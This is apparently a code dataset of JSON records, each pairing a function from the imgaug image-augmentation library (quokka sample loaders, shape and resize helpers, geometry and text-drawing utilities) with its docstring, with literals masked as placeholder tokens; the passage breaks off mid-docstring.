{"signature": "def _quokka_normalize_extract(extract):", "body": "<EOL>from imgaug.augmentables.bbs import BoundingBox, BoundingBoxesOnImage<EOL>if extract == \"<STR_LIT>\":<EOL><INDENT>bb = BoundingBox(x1=<NUM_LIT:0>, y1=<NUM_LIT:0>, x2=<NUM_LIT>, y2=<NUM_LIT>)<EOL><DEDENT>elif isinstance(extract, tuple) and len(extract) == <NUM_LIT:4>:<EOL><INDENT>bb = BoundingBox(x1=extract[<NUM_LIT:0>], y1=extract[<NUM_LIT:1>], x2=extract[<NUM_LIT:2>], y2=extract[<NUM_LIT:3>])<EOL><DEDENT>elif isinstance(extract, BoundingBox):<EOL><INDENT>bb = extract<EOL><DEDENT>elif isinstance(extract, BoundingBoxesOnImage):<EOL><INDENT>do_assert(len(extract.bounding_boxes) == <NUM_LIT:1>)<EOL>do_assert(extract.shape[<NUM_LIT:0>:<NUM_LIT:2>] == (<NUM_LIT>, <NUM_LIT>))<EOL>bb = extract.bounding_boxes[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>raise Exception(<EOL>\"<STR_LIT>\"<EOL>+ \"<STR_LIT>\" % (type(extract),)<EOL>)<EOL><DEDENT>return bb<EOL>", "docstring": "Generate a normalized rectangle to be extract from the standard quokka image.\n\nParameters\n----------\nextract : 'square' or tuple of number or imgaug.BoundingBox or imgaug.BoundingBoxesOnImage\n    Unnormalized representation of the image subarea to be extracted.\n\n        * If string ``square``, then a squared area ``(x: 0 to max 643, y: 0 to max 643)``\n          will be extracted from the image.\n        * If a tuple, then expected to contain four numbers denoting ``x1``, ``y1``, ``x2``\n          and ``y2``.\n        * If a BoundingBox, then that bounding box's area will be extracted from the image.\n        * If a BoundingBoxesOnImage, then expected to contain exactly one bounding box\n          and a shape matching the full image dimensions (i.e. (643, 960, *)). Then the\n          one bounding box will be used similar to BoundingBox.\n\nReturns\n-------\nbb : imgaug.BoundingBox\n    Normalized representation of the area to extract from the standard quokka image.", "id": "f16269:m21"}
{"signature": "def _compute_resized_shape(from_shape, to_shape):", "body": "if is_np_array(from_shape):<EOL><INDENT>from_shape = from_shape.shape<EOL><DEDENT>if is_np_array(to_shape):<EOL><INDENT>to_shape = to_shape.shape<EOL><DEDENT>to_shape_computed = list(from_shape)<EOL>if to_shape is None:<EOL><INDENT>pass<EOL><DEDENT>elif isinstance(to_shape, tuple):<EOL><INDENT>do_assert(len(from_shape) in [<NUM_LIT:2>, <NUM_LIT:3>])<EOL>do_assert(len(to_shape) in [<NUM_LIT:2>, <NUM_LIT:3>])<EOL>if len(from_shape) == <NUM_LIT:3> and len(to_shape) == <NUM_LIT:3>:<EOL><INDENT>do_assert(from_shape[<NUM_LIT:2>] == to_shape[<NUM_LIT:2>])<EOL><DEDENT>elif len(to_shape) == <NUM_LIT:3>:<EOL><INDENT>to_shape_computed.append(to_shape[<NUM_LIT:2>])<EOL><DEDENT>do_assert(all([v is None or is_single_number(v) for v in to_shape[<NUM_LIT:0>:<NUM_LIT:2>]]),<EOL>\"<STR_LIT>\"<EOL>+ \"<STR_LIT>\" % (str([type(v) for v in to_shape[<NUM_LIT:0>:<NUM_LIT:2>]]),))<EOL>for i, from_shape_i in enumerate(from_shape[<NUM_LIT:0>:<NUM_LIT:2>]):<EOL><INDENT>if to_shape[i] is None:<EOL><INDENT>to_shape_computed[i] = from_shape_i<EOL><DEDENT>elif is_single_integer(to_shape[i]):<EOL><INDENT>to_shape_computed[i] = to_shape[i]<EOL><DEDENT>else:  <EOL><INDENT>to_shape_computed[i] = int(np.round(from_shape_i * to_shape[i]))<EOL><DEDENT><DEDENT><DEDENT>elif is_single_integer(to_shape) or is_single_float(to_shape):<EOL><INDENT>to_shape_computed = _compute_resized_shape(from_shape, (to_shape, to_shape))<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\"<EOL>+ \"<STR_LIT>\" % (type(to_shape),))<EOL><DEDENT>return tuple(to_shape_computed)<EOL>", "docstring": "Computes the intended new shape of an image-like array after resizing.\n\nParameters\n----------\nfrom_shape : tuple or ndarray\n    Old shape of the array. Usually expected to be a tuple of form ``(H, W)`` or ``(H, W, C)`` or\n    alternatively an array with two or three dimensions.\n\nto_shape : None or tuple of ints or tuple of floats or int or float or ndarray\n    New shape of the array.\n\n        * If None, then `from_shape` will be used as the new shape.\n        * If an int ``V``, then the new shape will be ``(V, V, [C])``, where ``C`` will be added if it\n          is part of `from_shape`.\n        * If a float ``V``, then the new shape will be ``(H*V, W*V, [C])``, where ``H`` and ``W`` are the old\n          height/width.\n        * If a tuple ``(H', W', [C'])`` of ints, then ``H'`` and ``W'`` will be used as the new height\n          and width.\n        * If a tuple ``(H', W', [C'])`` of floats (except ``C``), then ``H'`` and ``W'`` will\n          be used as the new height and width.\n        * If a numpy array, then the array's shape will be used.\n\nReturns\n-------\nto_shape_computed : tuple of int\n    New shape.", "id": "f16269:m22"}
{"signature": "def quokka(size=None, extract=None):", "body": "img = imageio.imread(QUOKKA_FP, pilmode=\"<STR_LIT>\")<EOL>if extract is not None:<EOL><INDENT>bb = _quokka_normalize_extract(extract)<EOL>img = bb.extract_from_image(img)<EOL><DEDENT>if size is not None:<EOL><INDENT>shape_resized = _compute_resized_shape(img.shape, size)<EOL>img = imresize_single_image(img, shape_resized[<NUM_LIT:0>:<NUM_LIT:2>])<EOL><DEDENT>return img<EOL>", "docstring": "Returns an image of a quokka as a numpy array.\n\nParameters\n----------\nsize : None or float or tuple of int, optional\n    Size of the output image. Input into :func:`imgaug.imgaug.imresize_single_image`.\n    Usually expected to be a tuple ``(H, W)``, where ``H`` is the desired height\n    and ``W`` is the width. If None, then the image will not be resized.\n\nextract : None or 'square' or tuple of number or imgaug.BoundingBox or imgaug.BoundingBoxesOnImage\n    Subarea of the quokka image to extract:\n\n        * If None, then the whole image will be used.\n        * If string ``square``, then a squared area ``(x: 0 to max 643, y: 0 to max 643)`` will\n          be extracted from the image.\n        * If a tuple, then expected to contain four numbers denoting ``x1``, ``y1``, ``x2``\n          and ``y2``.\n        * If a BoundingBox, then that bounding box's area will be extracted from the image.\n        * If a BoundingBoxesOnImage, then expected to contain exactly one bounding box\n          and a shape matching the full image dimensions (i.e. ``(643, 960, *)``). Then the\n          one bounding box will be used similar to BoundingBox.\n\nReturns\n-------\nimg : (H,W,3) ndarray\n    The image array of dtype uint8.", "id": "f16269:m23"}
{"signature": "def quokka_square(size=None):", "body": "return quokka(size=size, extract=\"<STR_LIT>\")<EOL>", "docstring": "Returns an (square) image of a quokka as a numpy array.\n\nParameters\n----------\nsize : None or float or tuple of int, optional\n    Size of the output image. Input into :func:`imgaug.imgaug.imresize_single_image`.\n    Usually expected to be a tuple ``(H, W)``, where ``H`` is the desired height\n    and ``W`` is the width. If None, then the image will not be resized.\n\nReturns\n-------\nimg : (H,W,3) ndarray\n    The image array of dtype uint8.", "id": "f16269:m24"}
{"signature": "def quokka_heatmap(size=None, extract=None):", "body": "<EOL>from imgaug.augmentables.heatmaps import HeatmapsOnImage<EOL>img = imageio.imread(QUOKKA_DEPTH_MAP_HALFRES_FP, pilmode=\"<STR_LIT>\")<EOL>img = imresize_single_image(img, (<NUM_LIT>, <NUM_LIT>), interpolation=\"<STR_LIT>\")<EOL>if extract is not None:<EOL><INDENT>bb = _quokka_normalize_extract(extract)<EOL>img = bb.extract_from_image(img)<EOL><DEDENT>if size is None:<EOL><INDENT>size = img.shape[<NUM_LIT:0>:<NUM_LIT:2>]<EOL><DEDENT>shape_resized = _compute_resized_shape(img.shape, size)<EOL>img = imresize_single_image(img, shape_resized[<NUM_LIT:0>:<NUM_LIT:2>])<EOL>img_0to1 = img[..., <NUM_LIT:0>]  <EOL>img_0to1 = img_0to1.astype(np.float32) / <NUM_LIT><EOL>img_0to1 = <NUM_LIT:1> - img_0to1  <EOL>return HeatmapsOnImage(img_0to1, shape=img_0to1.shape[<NUM_LIT:0>:<NUM_LIT:2>] + (<NUM_LIT:3>,))<EOL>", "docstring": "Returns a heatmap (here: depth map) for the standard example quokka image.\n\nParameters\n----------\nsize : None or float or tuple of int, optional\n    See :func:`imgaug.quokka`.\n\nextract : None or 'square' or tuple of number or imgaug.BoundingBox or imgaug.BoundingBoxesOnImage\n    See :func:`imgaug.quokka`.\n\nReturns\n-------\nresult : imgaug.HeatmapsOnImage\n    Depth map as an heatmap object. Values close to 0.0 denote objects that are close to\n    the camera. Values close to 1.0 denote objects that are furthest away (among all shown\n    objects).", "id": "f16269:m25"}
{"signature": "def quokka_segmentation_map(size=None, extract=None):", "body": "<EOL>from imgaug.augmentables.segmaps import SegmentationMapOnImage<EOL>with open(QUOKKA_ANNOTATIONS_FP, \"<STR_LIT:r>\") as f:<EOL><INDENT>json_dict = json.load(f)<EOL><DEDENT>xx = []<EOL>yy = []<EOL>for kp_dict in json_dict[\"<STR_LIT>\"][<NUM_LIT:0>][\"<STR_LIT>\"]:<EOL><INDENT>x = kp_dict[\"<STR_LIT:x>\"]<EOL>y = kp_dict[\"<STR_LIT:y>\"]<EOL>xx.append(x)<EOL>yy.append(y)<EOL><DEDENT>img_seg = np.zeros((<NUM_LIT>, <NUM_LIT>, <NUM_LIT:1>), dtype=np.float32)<EOL>rr, cc = skimage.draw.polygon(np.array(yy), np.array(xx), shape=img_seg.shape)<EOL>img_seg[rr, cc] = <NUM_LIT:1.0><EOL>if extract is not None:<EOL><INDENT>bb = _quokka_normalize_extract(extract)<EOL>img_seg = bb.extract_from_image(img_seg)<EOL><DEDENT>segmap = SegmentationMapOnImage(img_seg, shape=img_seg.shape[<NUM_LIT:0>:<NUM_LIT:2>] + (<NUM_LIT:3>,))<EOL>if size is not None:<EOL><INDENT>shape_resized = _compute_resized_shape(img_seg.shape, size)<EOL>segmap = segmap.resize(shape_resized[<NUM_LIT:0>:<NUM_LIT:2>])<EOL>segmap.shape = tuple(shape_resized[<NUM_LIT:0>:<NUM_LIT:2>]) + (<NUM_LIT:3>,)<EOL><DEDENT>return segmap<EOL>", "docstring": "Returns a segmentation map for the standard example quokka image.\n\nParameters\n----------\nsize : None or float or tuple of int, optional\n    See :func:`imgaug.quokka`.\n\nextract : None or 'square' or tuple of number or imgaug.BoundingBox or imgaug.BoundingBoxesOnImage\n    See :func:`imgaug.quokka`.\n\nReturns\n-------\nresult : imgaug.SegmentationMapOnImage\n    Segmentation map object.", "id": "f16269:m26"}
{"signature": "def quokka_keypoints(size=None, extract=None):", "body": "<EOL>from imgaug.augmentables.kps import Keypoint, KeypointsOnImage<EOL>left, top = <NUM_LIT:0>, <NUM_LIT:0><EOL>if extract is not None:<EOL><INDENT>bb_extract = _quokka_normalize_extract(extract)<EOL>left = bb_extract.x1<EOL>top = bb_extract.y1<EOL><DEDENT>with open(QUOKKA_ANNOTATIONS_FP, \"<STR_LIT:r>\") as f:<EOL><INDENT>json_dict = json.load(f)<EOL><DEDENT>keypoints = []<EOL>for kp_dict in json_dict[\"<STR_LIT>\"]:<EOL><INDENT>keypoints.append(Keypoint(x=kp_dict[\"<STR_LIT:x>\"] - left, y=kp_dict[\"<STR_LIT:y>\"] - top))<EOL><DEDENT>if extract is not None:<EOL><INDENT>shape = (bb_extract.height, bb_extract.width, <NUM_LIT:3>)<EOL><DEDENT>else:<EOL><INDENT>shape = (<NUM_LIT>, <NUM_LIT>, <NUM_LIT:3>)<EOL><DEDENT>kpsoi = KeypointsOnImage(keypoints, shape=shape)<EOL>if size is not None:<EOL><INDENT>shape_resized = _compute_resized_shape(shape, size)<EOL>kpsoi = kpsoi.on(shape_resized)<EOL><DEDENT>return kpsoi<EOL>", "docstring": "Returns example keypoints on the standard example quokke image.\n\nThe keypoints cover the eyes, ears, nose and paws.\n\nParameters\n----------\nsize : None or float or tuple of int or tuple of float, optional\n    Size of the output image on which the keypoints are placed. If None, then the keypoints\n    are not projected to any new size (positions on the original image are used).\n    Floats lead to relative size changes, ints to absolute sizes in pixels.\n\nextract : None or 'square' or tuple of number or imgaug.BoundingBox or imgaug.BoundingBoxesOnImage\n    Subarea to extract from the image. See :func:`imgaug.quokka`.\n\nReturns\n-------\nkpsoi : imgaug.KeypointsOnImage\n    Example keypoints on the quokka image.", "id": "f16269:m27"}
{"signature": "def quokka_bounding_boxes(size=None, extract=None):", "body": "<EOL>from imgaug.augmentables.bbs import BoundingBox, BoundingBoxesOnImage<EOL>left, top = <NUM_LIT:0>, <NUM_LIT:0><EOL>if extract is not None:<EOL><INDENT>bb_extract = _quokka_normalize_extract(extract)<EOL>left = bb_extract.x1<EOL>top = bb_extract.y1<EOL><DEDENT>with open(QUOKKA_ANNOTATIONS_FP, \"<STR_LIT:r>\") as f:<EOL><INDENT>json_dict = json.load(f)<EOL><DEDENT>bbs = []<EOL>for bb_dict in json_dict[\"<STR_LIT>\"]:<EOL><INDENT>bbs.append(<EOL>BoundingBox(<EOL>x1=bb_dict[\"<STR_LIT>\"] - left,<EOL>y1=bb_dict[\"<STR_LIT>\"] - top,<EOL>x2=bb_dict[\"<STR_LIT>\"] - left,<EOL>y2=bb_dict[\"<STR_LIT>\"] - top<EOL>)<EOL>)<EOL><DEDENT>if extract is not None:<EOL><INDENT>shape = (bb_extract.height, bb_extract.width, <NUM_LIT:3>)<EOL><DEDENT>else:<EOL><INDENT>shape = (<NUM_LIT>, <NUM_LIT>, <NUM_LIT:3>)<EOL><DEDENT>bbsoi = BoundingBoxesOnImage(bbs, shape=shape)<EOL>if size is not None:<EOL><INDENT>shape_resized = _compute_resized_shape(shape, size)<EOL>bbsoi = bbsoi.on(shape_resized)<EOL><DEDENT>return bbsoi<EOL>", "docstring": "Returns example bounding boxes on the standard example quokke image.\n\nCurrently only a single bounding box is returned that covers the quokka.\n\nParameters\n----------\nsize : None or float or tuple of int or tuple of float, optional\n    Size of the output image on which the BBs are placed. If None, then the BBs\n    are not projected to any new size (positions on the original image are used).\n    Floats lead to relative size changes, ints to absolute sizes in pixels.\n\nextract : None or 'square' or tuple of number or imgaug.BoundingBox or imgaug.BoundingBoxesOnImage\n    Subarea to extract from the image. See :func:`imgaug.quokka`.\n\nReturns\n-------\nbbsoi : imgaug.BoundingBoxesOnImage\n    Example BBs on the quokka image.", "id": "f16269:m28"}
{"signature": "def quokka_polygons(size=None, extract=None):", "body": "<EOL>from imgaug.augmentables.polys import Polygon, PolygonsOnImage<EOL>left, top = <NUM_LIT:0>, <NUM_LIT:0><EOL>if extract is not None:<EOL><INDENT>bb_extract = _quokka_normalize_extract(extract)<EOL>left = bb_extract.x1<EOL>top = bb_extract.y1<EOL><DEDENT>with open(QUOKKA_ANNOTATIONS_FP, \"<STR_LIT:r>\") as f:<EOL><INDENT>json_dict = json.load(f)<EOL><DEDENT>polygons = []<EOL>for poly_json in json_dict[\"<STR_LIT>\"]:<EOL><INDENT>polygons.append(<EOL>Polygon([(point[\"<STR_LIT:x>\"] - left, point[\"<STR_LIT:y>\"] - top)<EOL>for point in poly_json[\"<STR_LIT>\"]])<EOL>)<EOL><DEDENT>if extract is not None:<EOL><INDENT>shape = (bb_extract.height, bb_extract.width, <NUM_LIT:3>)<EOL><DEDENT>else:<EOL><INDENT>shape = (<NUM_LIT>, <NUM_LIT>, <NUM_LIT:3>)<EOL><DEDENT>psoi = PolygonsOnImage(polygons, shape=shape)<EOL>if size is not None:<EOL><INDENT>shape_resized = _compute_resized_shape(shape, size)<EOL>psoi = psoi.on(shape_resized)<EOL><DEDENT>return psoi<EOL>", "docstring": "Returns example polygons on the standard example quokke image.\n\nThe result contains one polygon, covering the quokka's outline.\n\nParameters\n----------\nsize : None or float or tuple of int or tuple of float, optional\n    Size of the output image on which the polygons are placed. If None,\n    then the polygons are not projected to any new size (positions on the\n    original image are used). Floats lead to relative size changes, ints\n    to absolute sizes in pixels.\n\nextract : None or 'square' or tuple of number or imgaug.BoundingBox or \\\n          imgaug.BoundingBoxesOnImage\n    Subarea to extract from the image. See :func:`imgaug.quokka`.\n\nReturns\n-------\npsoi : imgaug.PolygonsOnImage\n    Example polygons on the quokka image.", "id": "f16269:m29"}
{"signature": "def angle_between_vectors(v1, v2):", "body": "l1 = np.linalg.norm(v1)<EOL>l2 = np.linalg.norm(v2)<EOL>v1_u = (v1 / l1) if l1 > <NUM_LIT:0> else np.float32(v1) * <NUM_LIT:0><EOL>v2_u = (v2 / l2) if l2 > <NUM_LIT:0> else np.float32(v2) * <NUM_LIT:0><EOL>return np.arccos(np.clip(np.dot(v1_u, v2_u), -<NUM_LIT:1.0>, <NUM_LIT:1.0>))<EOL>", "docstring": "Returns the angle in radians between vectors `v1` and `v2`.\n\nFrom http://stackoverflow.com/questions/2827393/angles-between-two-n-dimensional-vectors-in-python\n\nParameters\n----------\nv1 : (N,) ndarray\n    First vector.\n\nv2 : (N,) ndarray\n    Second vector.\n\nReturns\n-------\nout : float\n    Angle in radians.\n\nExamples\n--------\n>>> angle_between_vectors(np.float32([1, 0, 0]), np.float32([0, 1, 0]))\n1.570796...\n\n>>> angle_between_vectors(np.float32([1, 0, 0]), np.float32([1, 0, 0]))\n0.0\n\n>>> angle_between_vectors(np.float32([1, 0, 0]), np.float32([-1, 0, 0]))\n3.141592...", "id": "f16269:m30"}
{"signature": "def compute_line_intersection_point(x1, y1, x2, y2, x3, y3, x4, y4):", "body": "def _make_line(p1, p2):<EOL><INDENT>A = (p1[<NUM_LIT:1>] - p2[<NUM_LIT:1>])<EOL>B = (p2[<NUM_LIT:0>] - p1[<NUM_LIT:0>])<EOL>C = (p1[<NUM_LIT:0>]*p2[<NUM_LIT:1>] - p2[<NUM_LIT:0>]*p1[<NUM_LIT:1>])<EOL>return A, B, -C<EOL><DEDENT>L1 = _make_line((x1, y1), (x2, y2))<EOL>L2 = _make_line((x3, y3), (x4, y4))<EOL>D = L1[<NUM_LIT:0>] * L2[<NUM_LIT:1>] - L1[<NUM_LIT:1>] * L2[<NUM_LIT:0>]<EOL>Dx = L1[<NUM_LIT:2>] * L2[<NUM_LIT:1>] - L1[<NUM_LIT:1>] * L2[<NUM_LIT:2>]<EOL>Dy = L1[<NUM_LIT:0>] * L2[<NUM_LIT:2>] - L1[<NUM_LIT:2>] * L2[<NUM_LIT:0>]<EOL>if D != <NUM_LIT:0>:<EOL><INDENT>x = Dx / D<EOL>y = Dy / D<EOL>return x, y<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Compute the intersection point of two lines.\n\nTaken from https://stackoverflow.com/a/20679579 .\n\nParameters\n----------\nx1 : number\n    x coordinate of the first point on line 1. (The lines extends beyond this point.)\n\ny1 : number\n    y coordinate of the first point on line 1. (The lines extends beyond this point.)\n\nx2 : number\n    x coordinate of the second point on line 1. (The lines extends beyond this point.)\n\ny2 : number\n    y coordinate of the second point on line 1. (The lines extends beyond this point.)\n\nx3 : number\n    x coordinate of the first point on line 2. (The lines extends beyond this point.)\n\ny3 : number\n    y coordinate of the first point on line 2. (The lines extends beyond this point.)\n\nx4 : number\n    x coordinate of the second point on line 2. (The lines extends beyond this point.)\n\ny4 : number\n    y coordinate of the second point on line 2. (The lines extends beyond this point.)\n\nReturns\n-------\ntuple of number or bool\n    The coordinate of the intersection point as a tuple ``(x, y)``.\n    If the lines are parallel (no intersection point or an infinite number of them), the result is False.", "id": "f16269:m31"}
{"signature": "def draw_text(img, y, x, text, color=(<NUM_LIT:0>, <NUM_LIT:255>, <NUM_LIT:0>), size=<NUM_LIT>):", "body": "do_assert(img.dtype in [np.uint8, np.float32])<EOL>input_dtype = img.dtype<EOL>if img.dtype == np.float32:<EOL><INDENT>img = img.astype(np.uint8)<EOL><DEDENT>img = PIL_Image.fromarray(img)<EOL>font = PIL_ImageFont.truetype(DEFAULT_FONT_FP, size)<EOL>context = PIL_ImageDraw.Draw(img)<EOL>context.text((x, y), text, fill=tuple(color), font=font)<EOL>img_np = np.asarray(img)<EOL>if not img_np.flags[\"<STR_LIT>\"]:<EOL><INDENT>try:<EOL><INDENT>img_np.setflags(write=True)<EOL><DEDENT>except ValueError as ex:<EOL><INDENT>if \"<STR_LIT>\" in str(ex):<EOL><INDENT>img_np = np.copy(img_np)<EOL><DEDENT><DEDENT><DEDENT>if img_np.dtype != input_dtype:<EOL><INDENT>img_np = img_np.astype(input_dtype)<EOL><DEDENT>return img_np<EOL>", "docstring": "Draw text on an image.\n\nThis uses by default DejaVuSans as its font, which is included in this library.\n\ndtype support::\n\n    * ``uint8``: yes; fully tested\n    * ``uint16``: no\n    * ``uint32``: no\n    * ``uint64``: no\n    * ``int8``: no\n    * ``int16``: no\n    * ``int32``: no\n    * ``int64``: no\n    * ``float16``: no\n    * ``float32``: yes; not tested\n    * ``float64``: no\n    * ``float128``: no\n    * ``bool``: no\n\n    TODO check if other dtypes could be enabled\n\nParameters\n----------\nimg : (H,W,3) ndarray\n    The image array to draw text on.\n    Expected to be of dtype uint8 or float32 (value range 0.0 to 255.0).\n\ny : int\n    x-coordinate of the top left corner of the text.\n\nx : int\n    y- coordinate of the top left corner of the text.\n\ntext : str\n    The text to draw.\n\ncolor : iterable of int, optional\n    Color of the text to draw. For RGB-images this is expected to be an RGB color.\n\nsize : int, optional\n    Font size of the text to draw.\n\nReturns\n-------\nimg_np : (H,W,3) ndarray\n    Input image with text drawn on it.", "id": "f16269:m32"}
{"signature": "def imresize_many_images(images, sizes=None, interpolation=None):", "body": "<EOL>if len(images) == <NUM_LIT:0>:<EOL><INDENT>return images<EOL><DEDENT>do_assert(<EOL>all([image.shape[<NUM_LIT:0>] > <NUM_LIT:0> and image.shape[<NUM_LIT:1>] > <NUM_LIT:0> for image in images]),<EOL>(\"<STR_LIT>\"<EOL>+ \"<STR_LIT>\") % (str([image.shape for image in images]),)<EOL>)<EOL>if is_single_number(sizes) and sizes <= <NUM_LIT:0>:<EOL><INDENT>raise Exception(<EOL>\"<STR_LIT>\" % (sizes,))<EOL><DEDENT>elif isinstance(sizes, tuple) and (sizes[<NUM_LIT:0>] <= <NUM_LIT:0> or sizes[<NUM_LIT:1>] <= <NUM_LIT:0>):<EOL><INDENT>sizes_str = [<EOL>\"<STR_LIT>\" % (sizes[<NUM_LIT:0>],) if is_single_integer(sizes[<NUM_LIT:0>]) else \"<STR_LIT>\" % (sizes[<NUM_LIT:0>],),<EOL>\"<STR_LIT>\" % (sizes[<NUM_LIT:1>],) if is_single_integer(sizes[<NUM_LIT:1>]) else \"<STR_LIT>\" % (sizes[<NUM_LIT:1>],),<EOL>]<EOL>sizes_str = \"<STR_LIT>\" % (sizes_str[<NUM_LIT:0>], sizes_str[<NUM_LIT:1>])<EOL>raise Exception(<EOL>\"<STR_LIT>\" % (sizes_str,))<EOL><DEDENT>if is_single_number(sizes):<EOL><INDENT>sizes = (sizes, sizes)<EOL><DEDENT>else:<EOL><INDENT>do_assert(len(sizes) == <NUM_LIT:2>, \"<STR_LIT>\" % (len(sizes),))<EOL>do_assert(all([is_single_number(val) for val in sizes]),<EOL>\"<STR_LIT>\" % (str([type(val) for val in sizes]),))<EOL><DEDENT>if isinstance(images, list):<EOL><INDENT>nb_shapes = len(set([image.shape for image in images]))<EOL>if nb_shapes == <NUM_LIT:1>:<EOL><INDENT>return list(imresize_many_images(np.array(images), sizes=sizes, interpolation=interpolation))<EOL><DEDENT>else:<EOL><INDENT>return [imresize_many_images(image[np.newaxis, ...], sizes=sizes, interpolation=interpolation)[<NUM_LIT:0>, ...]<EOL>for image in images]<EOL><DEDENT><DEDENT>shape = images.shape<EOL>do_assert(images.ndim in [<NUM_LIT:3>, <NUM_LIT:4>], \"<STR_LIT>\" % (str(shape),))<EOL>nb_images = shape[<NUM_LIT:0>]<EOL>im_height, im_width = shape[<NUM_LIT:1>], shape[<NUM_LIT:2>]<EOL>nb_channels = shape[<NUM_LIT:3>] if images.ndim > <NUM_LIT:3> else None<EOL>height, width = sizes[<NUM_LIT:0>], sizes[<NUM_LIT:1>]<EOL>height = int(np.round(im_height * height)) if is_single_float(height) else height<EOL>width = int(np.round(im_width * width)) if is_single_float(width) else width<EOL>if height == im_height and width == im_width:<EOL><INDENT>return np.copy(images)<EOL><DEDENT>ip = interpolation<EOL>do_assert(ip is None or ip in IMRESIZE_VALID_INTERPOLATIONS)<EOL>if ip is None:<EOL><INDENT>if height > im_height or width > im_width:<EOL><INDENT>ip = cv2.INTER_AREA<EOL><DEDENT>else:<EOL><INDENT>ip = cv2.INTER_LINEAR<EOL><DEDENT><DEDENT>elif ip in [\"<STR_LIT>\", cv2.INTER_NEAREST]:<EOL><INDENT>ip = cv2.INTER_NEAREST<EOL><DEDENT>elif ip in [\"<STR_LIT>\", cv2.INTER_LINEAR]:<EOL><INDENT>ip = cv2.INTER_LINEAR<EOL><DEDENT>elif ip in [\"<STR_LIT>\", cv2.INTER_AREA]:<EOL><INDENT>ip = cv2.INTER_AREA<EOL><DEDENT>else:  <EOL><INDENT>ip = cv2.INTER_CUBIC<EOL><DEDENT>from . import dtypes as iadt<EOL>if ip == cv2.INTER_NEAREST:<EOL><INDENT>iadt.gate_dtypes(images,<EOL>allowed=[\"<STR_LIT:bool>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"],<EOL>disallowed=[\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"],<EOL>augmenter=None)<EOL><DEDENT>else:<EOL><INDENT>iadt.gate_dtypes(images,<EOL>allowed=[\"<STR_LIT:bool>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"],<EOL>disallowed=[\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"],<EOL>augmenter=None)<EOL><DEDENT>result_shape = (nb_images, height, width)<EOL>if nb_channels is not None:<EOL><INDENT>result_shape = result_shape + (nb_channels,)<EOL><DEDENT>result = np.zeros(result_shape, dtype=images.dtype)<EOL>for i, image in enumerate(images):<EOL><INDENT>input_dtype = image.dtype<EOL>if image.dtype.type == np.bool_:<EOL><INDENT>image = image.astype(np.uint8) * <NUM_LIT:255><EOL><DEDENT>elif image.dtype.type == np.int8 and ip != cv2.INTER_NEAREST:<EOL><INDENT>image = image.astype(np.int16)<EOL><DEDENT>elif image.dtype.type == np.float16:<EOL><INDENT>image = image.astype(np.float32)<EOL><DEDENT>result_img = cv2.resize(image, (width, height), interpolation=ip)<EOL>assert result_img.dtype == image.dtype<EOL>if len(result_img.shape) == <NUM_LIT:2> and nb_channels is not None and nb_channels == <NUM_LIT:1>:<EOL><INDENT>result_img = result_img[:, :, np.newaxis]<EOL><DEDENT>if input_dtype.type == np.bool_:<EOL><INDENT>result_img = result_img > <NUM_LIT><EOL><DEDENT>elif input_dtype.type == np.int8 and ip != cv2.INTER_NEAREST:<EOL><INDENT>from . import dtypes as iadt<EOL>result_img = iadt.restore_dtypes_(result_img, np.int8)<EOL><DEDENT>elif input_dtype.type == np.float16:<EOL><INDENT>from . import dtypes as iadt<EOL>result_img = iadt.restore_dtypes_(result_img, np.float16)<EOL><DEDENT>result[i] = result_img<EOL><DEDENT>return result<EOL>", "docstring": "Resize many images to a specified size.\n\ndtype support::\n\n    * ``uint8``: yes; fully tested\n    * ``uint16``: yes; tested\n    * ``uint32``: no (1)\n    * ``uint64``: no (2)\n    * ``int8``: yes; tested (3)\n    * ``int16``: yes; tested\n    * ``int32``: limited; tested (4)\n    * ``int64``: no (2)\n    * ``float16``: yes; tested (5)\n    * ``float32``: yes; tested\n    * ``float64``: yes; tested\n    * ``float128``: no (1)\n    * ``bool``: yes; tested (6)\n\n    - (1) rejected by ``cv2.imresize``\n    - (2) results too inaccurate\n    - (3) mapped internally to ``int16`` when interpolation!=\"nearest\"\n    - (4) only supported for interpolation=\"nearest\", other interpolations lead to cv2 error\n    - (5) mapped internally to ``float32``\n    - (6) mapped internally to ``uint8``\n\nParameters\n----------\nimages : (N,H,W,[C]) ndarray or list of (H,W,[C]) ndarray\n    Array of the images to resize.\n    Usually recommended to be of dtype uint8.\n\nsizes : float or iterable of int or iterable of float\n    The new size of the images, given either as a fraction (a single float) or as\n    a ``(height, width)`` tuple of two integers or as a ``(height fraction, width fraction)``\n    tuple of two floats.\n\ninterpolation : None or str or int, optional\n    The interpolation to use during resize.\n    If int, then expected to be one of:\n\n        * ``cv2.INTER_NEAREST`` (nearest neighbour interpolation)\n        * ``cv2.INTER_LINEAR`` (linear interpolation)\n        * ``cv2.INTER_AREA`` (area interpolation)\n        * ``cv2.INTER_CUBIC`` (cubic interpolation)\n\n    If string, then expected to be one of:\n\n        * ``nearest`` (identical to ``cv2.INTER_NEAREST``)\n        * ``linear`` (identical to ``cv2.INTER_LINEAR``)\n        * ``area`` (identical to ``cv2.INTER_AREA``)\n        * ``cubic`` (identical to ``cv2.INTER_CUBIC``)\n\n    If None, the interpolation will be chosen automatically. For size\n    increases, area interpolation will be picked and for size decreases,\n    linear interpolation will be picked.\n\nReturns\n-------\nresult : (N,H',W',[C]) ndarray\n    Array of the resized images.\n\nExamples\n--------\n>>> imresize_many_images(np.zeros((2, 16, 16, 3), dtype=np.uint8), 2.0)\n\nConverts 2 RGB images of height and width 16 to images of height and width 16*2 = 32.\n\n>>> imresize_many_images(np.zeros((2, 16, 16, 3), dtype=np.uint8), (16, 32))\n\nConverts 